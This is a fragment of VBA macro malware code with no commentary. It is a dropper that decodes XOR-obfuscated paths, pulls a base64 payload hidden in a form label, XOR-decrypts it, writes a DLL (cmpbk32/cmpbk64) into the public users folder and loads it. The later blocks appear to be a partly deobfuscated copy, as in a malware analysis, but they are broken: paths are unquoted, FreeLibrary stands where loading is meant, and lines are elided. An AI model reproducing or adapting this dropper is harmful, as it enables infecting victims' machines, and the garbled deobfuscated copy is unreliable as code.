st = Chr(32 Xor CByte(99)) + Chr(83 Xor CByte(105)) + Chr(48 Xor CByte(108)) + Chr(55 Xor CByte(98)) + Chr(6 Xor CByte(117)) + Chr(53 Xor CByte(80)) + Chr(46 Xor CByte(92)) + Chr(0 Xor CByte(115)) + Chr(46 Xor CByte(114)) + Chr(53 Xor CByte(101)) + Chr(6 Xor CByte(115)) + Chr(55 Xor CByte(85)) + Chr(48 Xor CByte(92)) + Chr(83 Xor CByte(58)) + Chr(32 Xor CByte(67))
bb = Chr(15 Xor CByte(108)) + Chr(1 Xor CByte(108)) + Chr(20 Xor CByte(100)) + Chr(76 Xor CByte(46)) + Chr(89 Xor CByte(50)) + Chr(0 Xor CByte(51)) + Chr(89 Xor CByte(107)) + Chr(76 Xor CByte(98)) + Chr(20 Xor CByte(112)) + Chr(1 Xor CByte(109)) + Chr(15 Xor CByte(99))
cc = Chr(73) + Chr(78) + Chr(73) + Chr(84)
dd = Chr(15 Xor CByte(108)) + Chr(1 Xor CByte(108)) + Chr(20 Xor CByte(100)) + Chr(76 Xor CByte(46)) + Chr(95 Xor CByte(52)) + Chr(0 Xor CByte(54)) + Chr(95 Xor CByte(107)) + Chr(76 Xor CByte(98)) + Chr(20 Xor CByte(112)) + Chr(1 Xor CByte(109)) + Chr(15 Xor CByte(99))
#If Win64 Then
Dim hd As LongPtr
hd = zz(dd)
If Not hd = 0 Then
zzzz (hd)
Else
wafll st + "\" + dd, accef34Decode(UserForm1.Label2), CByte(73), 1
h = zzz(st & "\" + dd)
FR
End If
#Else
Dim hd As Long
hd = zz(bb)
If Not hd = 0 Then
zzzz (hd)
Else
h = zzz(st & "\" + bb)
FR
End If
#End If
#If Win64 Then
Dim hd As LongPtr
hd = GetModuleHandleA(cmpbk64.dll)
If Not hd = 0 Then
FreeLibrary(hd)
Else
wafll C:\Users\Public + "\" + cmpbk64.dll, accef34Decode(UserForm1.Label2), CByte(73), 1
h = FreeLibrary(C:\Users\Public & "\" + cmpbk64.dll)
R1
End If
#Else
Dim hd As Long
hd = GetModuleHandleA(cmpbk32.dll)
If Not hd = 0 Then
FreeLibrary(hd)
Else
h = LoadLibraryA(C:\Users\Public & "\" + cmpbk32.dll)
R1
End If
#End If
Function accef34Decode(accef34String As String) As String
...
accef34String = Replace(accef34String, vbCrLf, "")
accef34String = Replace(accef34String, vbTab, "")
accef34String = Replace(accef34String, " ", "")
dataLength = Len(accef34String)
If dataLength Mod 4 <> 0 Then
Exit Function
End If
...
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(accef34String, groupBegin + CharCounter, 1)
...
accef34Decode = sOut
Private Sub wafll(ByVal st As String, ByVal d As String, salt As Byte, offset As Long)
Dim s11() As Byte
s11 = StrConv(d, vbFromUnicode)
For j = 4 To UBound(s11)
s11(j) = s11(j) Xor salt
Next j
h = crf(st, &H40000000, 0, 0, 2, 0, 0)
r = wtf(h, s11(0 + offset), Len(d), bb2, 0)
clf (h)
End Sub
Dim hd As LongPtr
hd = GetModuleHandleA(cmpbk32.dll)
If Not hd = 0 Then
FreeLibrary(hd)
Else
wafll C:\Users\Public + "\" + cmpbk64.dll, accef34Decode(UserForm1.Label2), CByte(73), 1
h = FreeLibrary(C:\Users\Public & "\" + cmpbk64.dll)
R1
End If